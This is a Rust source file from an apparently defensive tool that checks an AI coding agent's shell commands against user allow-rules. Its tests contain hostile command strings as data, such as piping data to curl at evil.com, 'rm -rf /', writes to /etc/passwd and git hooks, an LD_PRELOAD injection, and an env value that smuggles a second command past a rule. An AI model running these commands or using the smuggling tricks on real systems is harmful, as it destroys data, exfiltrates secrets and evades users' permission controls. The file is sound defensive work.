Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7    exact: HashSet<String>,
8    globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12    /// Load allowlist patterns from trusted home config only
13    /// (`~/.claude/settings.json`). A project's `.claude/settings.json` is
14    /// intentionally not read: it lives in the working tree the agent edits, and
15    /// the harness applies its own project settings directly. See
16    /// `docs/design/trusted-customization.md`.
17    pub fn load() -> Self {
18        // Claude's OWN permission file, so it counts only when Claude is the harness being served.
19        // Loaded unconditionally, it granted commands under Codex and every other target — see
20        // `crate::trust_claude_config`.
21        match std::env::var_os("HOME").filter(|_| crate::claude_config_trusted()) {
22            Some(home) => Self::load_from_home(Path::new(&home)),
23            None => Matcher {
24                exact: HashSet::new(),
25                globs: Vec::new(),
26            },
27        }
28    }
29
30    fn load_from_home(home: &Path) -> Self {
31        let mut patterns = Matcher {
32            exact: HashSet::new(),
33            globs: Vec::new(),
34        };
35        patterns.load_file(&home.join(".claude/settings.json"));
36        patterns
37    }
38
39    fn load_file(&mut self, path: &Path) {
40        let Ok(contents) = std::fs::read_to_string(path) else {
41            return;
42        };
43        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
44            return;
45        };
46
47        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
48            for entry in arr.iter().filter_map(|e| e.as_str()) {
49                self.add_pattern(entry);
50            }
51        }
52
53        if let Some(arr) = value
54            .get("permissions")
55            .and_then(|v| v.get("allow"))
56            .and_then(|v| v.as_array())
57        {
58            for entry in arr.iter().filter_map(|e| e.as_str()) {
59                self.add_pattern(entry);
60            }
61        }
62    }
63
64    fn add_pattern(&mut self, entry: &str) {
65        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
66            return;
67        };
68        if inner.is_empty() {
69            return;
70        }
71        let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
72            format!("{prefix} *")
73        } else {
74            inner.to_string()
75        };
76        if normalized.contains('*') {
77            self.globs
78                .push(normalized.split('*').map(String::from).collect());
79        } else {
80            self.exact.insert(normalized);
81        }
82    }
83
84    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
85        let Cmd::Simple(simple) = cmd else {
86            return false;
87        };
88        // `None` = no unambiguous rendering (an env value with whitespace); such a command matches
89        // no rule, rather than matching one it could be confused with.
90        let Some(normalized) = check::normalize_for_matching(simple) else {
91            return false;
92        };
93        let normalized = normalized.trim();
94        if normalized.is_empty() {
95            return false;
96        }
97        if self.exact.contains(normalized) {
98            return true;
99        }
100        self.globs
101            .iter()
102            .any(|parts| glob_matches(parts, normalized))
103    }
104
105    pub fn is_empty(&self) -> bool {
106        self.exact.is_empty() && self.globs.is_empty()
107    }
108
109    #[cfg(test)]
110    pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
111        let mut m = Matcher {
112            exact: HashSet::new(),
113            globs: Vec::new(),
114        };
115        for p in patterns {
116            m.add_pattern(&format!("Bash({p})"));
117        }
118        m
119    }
120}
121
122pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
123    match cmd {
124        Cmd::Simple(_) => {
125            check::is_safe_cmd(cmd)
126                || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
127        }
128        _ => check::is_safe_cmd(cmd),
129    }
130}
131
132fn glob_matches(parts: &[String], text: &str) -> bool {
133    let first = &parts[0];
134    let last = &parts[parts.len() - 1];
135
136    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
137        let prefix = &first[..first.len() - 1];
138        return text == prefix || text.starts_with(first.as_str());
139    }
140
141    if !text.starts_with(first.as_str()) {
142        return false;
143    }
144    if !text.ends_with(last.as_str()) {
145        return false;
146    }
147    let mut pos = first.len();
148    let end = text.len() - last.len();
149    if pos > end {
150        return false;
151    }
152    for part in &parts[1..parts.len() - 1] {
153        match text[pos..end].find(part.as_str()) {
154            Some(idx) => pos += idx + part.len(),
155            None => return false,
156        }
157    }
158    pos <= end
159}
160
161#[cfg(test)]
162mod tests {
163    use super::*;
164    use std::fs;
165
166    use crate::cst;
167
168    fn empty() -> Matcher {
169        Matcher {
170            exact: HashSet::new(),
171            globs: Vec::new(),
172        }
173    }
174
175    fn cmd(s: &str) -> Cmd {
176        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
177        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
178        assert_eq!(
179            script.0[0].pipeline.commands.len(),
180            1,
181            "expected single command: {s}"
182        );
183        script.0[0].pipeline.commands[0].clone()
184    }
185
186    fn segments(command: &str) -> Vec<Cmd> {
187        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
188        script
189            .0
190            .into_iter()
191            .flat_map(|stmt| stmt.pipeline.commands)
192            .collect()
193    }
194
195    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
196        is_cmd_covered(cmd, patterns)
197    }
198
199    fn all_covered(command: &str, patterns: &Matcher) -> bool {
200        let Some(script) = cst::parse(command) else {
201            return false;
202        };
203        script.0.iter().all(|stmt| {
204            check::is_safe_pipeline(&stmt.pipeline)
205                || stmt
206                    .pipeline
207                    .commands
208                    .iter()
209                    .all(|c| is_cmd_covered(c, patterns))
210        })
211    }
212
213    #[test]
214    fn parse_exact_pattern() {
215        let mut p = empty();
216        p.add_pattern("Bash(npm test)");
217        assert!(p.exact.contains("npm test"));
218        assert!(p.globs.is_empty());
219    }
220
221    #[test]
222    fn parse_legacy_colon_star() {
223        let mut p = empty();
224        p.add_pattern("Bash(npm run:*)");
225        assert!(p.exact.is_empty());
226        assert_eq!(p.globs.len(), 1);
227    }
228
229    #[test]
230    fn parse_space_star() {
231        let mut p = empty();
232        p.add_pattern("Bash(npm run *)");
233        assert!(p.exact.is_empty());
234        assert_eq!(p.globs.len(), 1);
235    }
236
237    #[test]
238    fn parse_non_bash_skipped() {
239        let mut p = empty();
240        p.add_pattern("WebFetch");
241        p.add_pattern("XcodeBuildMCP");
242        assert!(p.is_empty());
243    }
244
245    #[test]
246    fn parse_empty_bash_skipped() {
247        let mut p = empty();
248        p.add_pattern("Bash()");
249        assert!(p.is_empty());
250    }
251
252    #[test]
253    fn match_exact() {
254        let mut p = empty();
255        p.add_pattern("Bash(npm test)");
256        assert!(p.matches_cmd(&cmd("npm test")));
257        assert!(!p.matches_cmd(&cmd("npm test --watch")));
258    }
259
260    #[test]
261    fn match_space_star_word_boundary() {
262        let mut p = empty();
263        p.add_pattern("Bash(ls *)");
264        assert!(p.matches_cmd(&cmd("ls -la")));
265        assert!(p.matches_cmd(&cmd("ls foo")));
266        assert!(!p.matches_cmd(&cmd("lsof")));
267    }
268
269    #[test]
270    fn match_star_no_space_no_boundary() {
271        let mut p = empty();
272        p.add_pattern("Bash(ls*)");
273        assert!(p.matches_cmd(&cmd("ls -la")));
274        assert!(p.matches_cmd(&cmd("lsof")));
275    }
276
277    #[test]
278    fn match_legacy_colon_star_word_boundary() {
279        let mut p = empty();
280        p.add_pattern("Bash(npm run:*)");
281        assert!(p.matches_cmd(&cmd("npm run build")));
282        assert!(p.matches_cmd(&cmd("npm run test")));
283        assert!(!p.matches_cmd(&cmd("npm running")));
284        assert!(!p.matches_cmd(&cmd("npm install")));
285    }
286
287    #[test]
288    fn match_star_at_beginning() {
289        let mut p = empty();
290        p.add_pattern("Bash(* --version)");
291        assert!(p.matches_cmd(&cmd("npm --version")));
292        assert!(p.matches_cmd(&cmd("cargo --version")));
293        assert!(!p.matches_cmd(&cmd("npm --help")));
294    }
295
296    #[test]
297    fn match_star_in_middle() {
298        let mut p = empty();
299        p.add_pattern("Bash(git * main)");
300        assert!(p.matches_cmd(&cmd("git checkout main")));
301        assert!(p.matches_cmd(&cmd("git merge main")));
302        assert!(!p.matches_cmd(&cmd("git checkout develop")));
303    }
304
305    /// REVERSED (2026-07-26). This previously asserted that the env prefix was STRIPPED, so
306    /// `Bash(bundle install)` also covered `RACK_ENV=test bundle install`. Convenient, but it means
307    /// a rule cannot distinguish forms the user needs distinguished: the same stripping made
308    /// `Bash(~/runner-scripts/x.sh:*)` cover `WRITE=1 ~/runner-scripts/x.sh`, pre-approving a
309    /// mutating run from a rule written for a dry one — and safe-chains answered `allow`, so the
310    /// harness never got to ask.
311    ///
312    /// The convenience is not lost: `RACK_ENV=test bundle install` still auto-approves, because
313    /// safe-chains knows `bundle install` on its own terms and never consults the user's rules for
314    /// it. What changed is only what a USER-WRITTEN rule covers, and now it covers what it says.
315    ///
316    /// Contrast `match_fd_redirect_stripped` below, which still strips: `2>&1` cannot change which
317    /// program runs or with what, so it does not make the invocation a different command.
318    #[test]
319    fn match_env_prefix_is_not_stripped() {
320        let mut p = empty();
321        p.add_pattern("Bash(bundle install)");
322        assert!(!p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
323        assert!(p.matches_cmd(&cmd("bundle install")));
324
325        let mut q = empty();
326        q.add_pattern("Bash(RACK_ENV=test bundle install)");
327        assert!(q.matches_cmd(&cmd("RACK_ENV=test bundle install")));
328    }
329
330    #[test]
331    fn match_fd_redirect_stripped() {
332        let mut p = empty();
333        p.add_pattern("Bash(npm test)");
334        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
335    }
336
337    #[test]
338    fn match_fd_redirect_with_glob() {
339        let mut p = empty();
340        p.add_pattern("Bash(npm run *)");
341        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
342    }
343
344    #[test]
345    fn empty_patterns_match_nothing() {
346        let p = empty();
347        assert!(!p.matches_cmd(&cmd("anything")));
348    }
349
350    #[test]
351    fn match_bare_star_matches_everything() {
352        let mut p = empty();
353        p.add_pattern("Bash(*)");
354        assert!(p.matches_cmd(&cmd("anything at all")));
355        assert!(p.matches_cmd(&cmd("rm -rf /")));
356    }
357
358    #[test]
359    fn unsafe_syntax_not_bypassed_by_match() {
360        let mut p = empty();
361        p.add_pattern("Bash(./script.sh *)");
362        let c = cmd("./script.sh > /etc/passwd");
363        assert!(check::has_unsafe_syntax(&c));
364        assert!(!is_covered(&c, &p));
365    }
366
367    #[test]
368    fn command_substitution_not_bypassed_by_match() {
369        let mut p = empty();
370        p.add_pattern("Bash(./script.sh *)");
371        let c = cmd("./script.sh $(rm -rf /)");
372        assert!(!is_covered(&c, &p));
373    }
374
375    #[test]
376    fn mixed_chain_safe_plus_settings() {
377        let mut p = empty();
378        p.add_pattern("Bash(./generate-docs.sh)");
379        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
380    }
381
382    #[test]
383    fn mixed_chain_safe_plus_unapproved_denied() {
384        let mut p = empty();
385        p.add_pattern("Bash(./generate-docs.sh)");
386        assert!(!all_covered("cargo test && rm -rf /", &p));
387    }
388
389    #[test]
390    fn glob_does_not_cross_chain_boundary() {
391        let mut p = empty();
392        p.add_pattern("Bash(cargo test *)");
393        let cmds = segments("cargo test --release && rm -rf /");
394        assert_eq!(cmds.len(), 2);
395        assert!(p.matches_cmd(&cmds[0]));
396        assert!(!p.matches_cmd(&cmds[1]));
397        assert!(!all_covered("cargo test --release && rm -rf /", &p));
398    }
399
400    #[test]
401    fn glob_does_not_cross_pipe_boundary() {
402        let mut p = empty();
403        p.add_pattern("Bash(safe-cmd *)");
404        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
405    }
406
407    #[test]
408    fn glob_does_not_cross_semicolon_boundary() {
409        let mut p = empty();
410        p.add_pattern("Bash(safe-cmd *)");
411        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
412    }
413
414    #[test]
415    fn file_redirect_promoted_to_safewrite() {
416        let p = empty();
417        let c = cmd("echo > out.txt");
418        assert!(is_covered(&c, &p));
419    }
420
421    #[test]
422    fn redirect_to_sensitive_target_not_covered() {
423        let p = empty();
424        assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
425        assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
426    }
427
428    #[test]
429    fn bare_star_blocked_by_unsafe_syntax_backtick() {
430        let mut p = empty();
431        p.add_pattern("Bash(*)");
432        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
433    }
434
435    #[test]
436    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
437        let mut p = empty();
438        p.add_pattern("Bash(*)");
439        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
440    }
441
442    #[test]
443    fn safe_command_substitution_allowed_through_is_safe() {
444        let p = empty();
445        // a SAFE inner command (worktree read) passes through; `cat /etc/shadow` would now
446        // correctly deny as a secret, so use a genuinely-safe substitution.
447        assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
448    }
449
450    #[test]
451    fn nested_shell_not_recursively_validated_by_settings() {
452        let mut p = empty();
453        p.add_pattern("Bash(bash *)");
454        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
455        assert!(!check::is_safe_cmd(&c));
456        assert!(!check::has_unsafe_syntax(&c));
457        assert!(is_covered(&c, &p));
458    }
459
460    #[test]
461    fn nested_shell_redirect_promoted_to_safewrite() {
462        let p = empty();
463        let c = cmd("bash -c 'echo hello' > /tmp/out");
464        assert!(is_covered(&c, &p));
465    }
466
467    #[test]
468    fn quoted_operators_stay_as_one_segment() {
469        let mut p = empty();
470        p.add_pattern("Bash(./script *)");
471        assert!(all_covered("./script 'arg && rm -rf /'", &p));
472    }
473
474    #[test]
475    fn load_from_home_reads_home_settings() {
476        let home = tempfile::tempdir().unwrap();
477        let claude_dir = home.path().join(".claude");
478        fs::create_dir_all(&claude_dir).unwrap();
479        fs::write(
480            claude_dir.join("settings.json"),
481            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
482        )
483        .unwrap();
484        let p = Matcher::load_from_home(home.path());
485        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
486        assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
487        assert!(!p.matches_cmd(&cmd("./evil.sh")));
488    }
489
490    #[test]
491    fn load_from_home_ignores_project_settings() {
492        // A project's .claude/settings.json living next to home is never read:
493        // only ~/.claude/settings.json is. Here the project tree has an allow
494        // entry that must not take effect.
495        let home = tempfile::tempdir().unwrap();
496        let project = tempfile::tempdir().unwrap();
497        let project_claude = project.path().join(".claude");
498        fs::create_dir_all(&project_claude).unwrap();
499        fs::write(
500            project_claude.join("settings.json"),
501            r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#,
502        )
503        .unwrap();
504        let p = Matcher::load_from_home(home.path());
505        assert!(!p.matches_cmd(&cmd("rm -rf /")));
506        assert!(p.is_empty());
507    }
508
509    #[test]
510    fn load_from_home_chains_with_builtins() {
511        let home = tempfile::tempdir().unwrap();
512        let claude_dir = home.path().join(".claude");
513        fs::create_dir_all(&claude_dir).unwrap();
514        fs::write(
515            claude_dir.join("settings.json"),
516            r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
517        )
518        .unwrap();
519        let p = Matcher::load_from_home(home.path());
520        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
521        assert!(!all_covered("cargo test && ./evil.sh", &p));
522    }
523
524    #[test]
525    fn load_file_nonexistent() {
526        let mut p = empty();
527        p.load_file(Path::new("/nonexistent/path/settings.json"));
528        assert!(p.is_empty());
529    }
530
531    #[test]
532    fn load_file_malformed_json() {
533        let dir = tempfile::tempdir().unwrap();
534        let path = dir.path().join("settings.json");
535        std::fs::write(&path, "not json{{{").unwrap();
536        let mut p = empty();
537        p.load_file(&path);
538        assert!(p.is_empty());
539    }
540
541    #[test]
542    fn load_file_approved_commands() {
543        let dir = tempfile::tempdir().unwrap();
544        let path = dir.path().join("settings.json");
545        fs::write(
546            &path,
547            r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
548        )
549        .unwrap();
550        let mut p = empty();
551        p.load_file(&path);
552        assert!(p.matches_cmd(&cmd("npm test")));
553        assert!(p.matches_cmd(&cmd("npm run build")));
554        assert!(!p.matches_cmd(&cmd("curl evil.com")));
555    }
556
557    #[test]
558    fn load_file_permissions_allow() {
559        let dir = tempfile::tempdir().unwrap();
560        let path = dir.path().join("settings.json");
561        fs::write(
562            &path,
563            r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
564        )
565        .unwrap();
566        let mut p = empty();
567        p.load_file(&path);
568        assert!(p.matches_cmd(&cmd("cargo test")));
569        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
570    }
571
572    #[test]
573    fn load_file_both_fields() {
574        let dir = tempfile::tempdir().unwrap();
575        let path = dir.path().join("settings.json");
576        fs::write(
577            &path,
578            r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
579        )
580        .unwrap();
581        let mut p = empty();
582        p.load_file(&path);
583        assert!(p.matches_cmd(&cmd("npm test")));
584        assert!(p.matches_cmd(&cmd("cargo test --release")));
585    }
586}
587
588/// An allow-rule must cover the command AS TYPED, including any leading `VAR=value`.
589///
590/// Dropping the assignments meant a rule written for one command silently covered a different one:
591/// `Bash(~/runner-scripts/x.sh:*)` matched `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a
592/// dry run pre-approved the mutating run — and safe-chains emitted `permissionDecision: "allow"`,
593/// so the harness never got the chance to ask.
594///
595/// Note what is NOT claimed here: nothing distinguishes `WRITE` from `LD_PRELOAD` from `NODE_ENV`,
596/// and no environment variable is researched. The only rule is that a pattern matches what it
597/// describes. That keeps this independent of the (unscoped) env-classification work in
598/// `docs/design/env-prefix-classification.md`.
599#[cfg(test)]
600mod env_prefix_matching_tests {
601    use super::*;
602    use crate::cst;
603
604    fn cmd(s: &str) -> Cmd {
605        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
606        script.0[0].pipeline.commands[0].clone()
607    }
608
609    fn matcher(patterns: &[&str]) -> Matcher {
610        Matcher::from_allow_patterns(patterns)
611    }
612
613    #[test]
614    fn a_plain_command_still_matches_its_rule() {
615        let m = matcher(&["~/runner-scripts/x.sh:*"]);
616        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
617        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh --dry-run")));
618    }
619
620    #[test]
621    fn an_env_prefix_does_not_match_a_rule_without_one() {
622        let m = matcher(&["~/runner-scripts/x.sh:*"]);
623        for c in [
624            "WRITE=1 ~/runner-scripts/x.sh",
625            "WRITE=1 ~/runner-scripts/x.sh --project p",
626            "PROJECT=p ~/runner-scripts/x.sh",
627            "LD_PRELOAD=/tmp/evil.so ~/runner-scripts/x.sh",
628        ] {
629            assert!(!m.matches_cmd(&cmd(c)), "rule without env matched: {c}");
630        }
631    }
632
633    #[test]
634    fn a_rule_that_declares_the_env_prefix_matches_it() {
635        // The form already in the user's settings for deliberately-approved mutations.
636        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*", "~/runner-scripts/x.sh:*"]);
637        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh")));
638        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
639        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
640        // ...but only THAT assignment; a different one is a different command.
641        assert!(!m.matches_cmd(&cmd("WRITE=0 ~/runner-scripts/x.sh")));
642        assert!(!m.matches_cmd(&cmd("DEBUG=1 ~/runner-scripts/x.sh")));
643    }
644
645    #[test]
646    fn every_assignment_must_be_accounted_for() {
647        let m = matcher(&["A=1 tool:*"]);
648        assert!(m.matches_cmd(&cmd("A=1 tool")));
649        // A second assignment the rule never mentioned makes it a different command.
650        assert!(!m.matches_cmd(&cmd("A=1 B=2 tool")));
651        assert!(!m.matches_cmd(&cmd("B=2 A=1 tool")));
652    }
653
654    #[test]
655    fn an_exact_rule_behaves_the_same_as_a_glob_rule() {
656        let exact = matcher(&["tool run"]);
657        assert!(exact.matches_cmd(&cmd("tool run")));
658        assert!(!exact.matches_cmd(&cmd("WRITE=1 tool run")));
659    }
660
661    /// An env VALUE containing whitespace has no unambiguous flat rendering, and assignments sit
662    /// BEFORE the program name — so a value that swallows the rest of a pattern would let a rule
663    /// for one program match a different one. This was live for a few minutes during development:
664    /// `Bash(WRITE=1 ~/runner-scripts/x.sh:*)` matched `WRITE='1 ~/runner-scripts/x.sh' rm -rf /`,
665    /// which runs `rm`. Such a command now matches nothing.
666    #[test]
667    fn a_value_containing_whitespace_matches_no_rule() {
668        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*"]);
669        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
670        assert!(
671            !m.matches_cmd(&cmd("WRITE='1 ~/runner-scripts/x.sh' rm -rf /")),
672            "a spaced value smuggled the pattern and matched a different program",
673        );
674
675        // Same shape without the glob: two different programs must not share a rendering.
676        let n = matcher(&["FOO=bar baz ls"]);
677        assert!(n.matches_cmd(&cmd("FOO=bar baz ls")));   // runs `baz`
678        assert!(!n.matches_cmd(&cmd("FOO='bar baz' ls"))); // runs `ls`
679    }
680
681    /// Quoted WORDS keep matching — `git commit -m 'a message'` is ordinary, and a quoted argument
682    /// cannot change which program runs, since the program is the first word either way. Only the
683    /// pre-program assignments are refused.
684    #[test]
685    fn a_quoted_word_still_matches() {
686        let m = matcher(&["git commit -m:*"]);
687        assert!(m.matches_cmd(&cmd("git commit -m 'a message with spaces'")));
688    }
689
690    /// The property, over every rule shape the matcher supports: if a command matches a rule, then
691    /// the same command with ANY assignment prepended must not — unless the rule declares it.
692    /// Stated generally so a future pattern form cannot reintroduce the hole for one spelling.
693    #[test]
694    fn prepending_any_assignment_breaks_a_match_the_rule_does_not_declare() {
695        let rules = ["tool", "tool:*", "tool sub", "tool sub:*", "~/runner-scripts/x.sh:*"];
696        let commands = ["tool", "tool sub", "tool sub --flag", "~/runner-scripts/x.sh --flag"];
697        let assignments = ["WRITE=1", "PROJECT=p", "LD_PRELOAD=/tmp/e.so", "A=1"];
698
699        let mut checked = 0;
700        for rule in rules {
701            let m = matcher(&[rule]);
702            for c in commands {
703                if !m.matches_cmd(&cmd(c)) {
704                    continue; // only meaningful where the bare command DOES match
705                }
706                for a in assignments {
707                    let prefixed = format!("{a} {c}");
708                    assert!(
709                        !m.matches_cmd(&cmd(&prefixed)),
710                        "rule `{rule}` matched `{prefixed}` without declaring `{a}`",
711                    );
712                    checked += 1;
713                }
714            }
715        }
716        assert!(checked > 0, "no rule/command pair matched — the property would be vacuous");
717    }
718}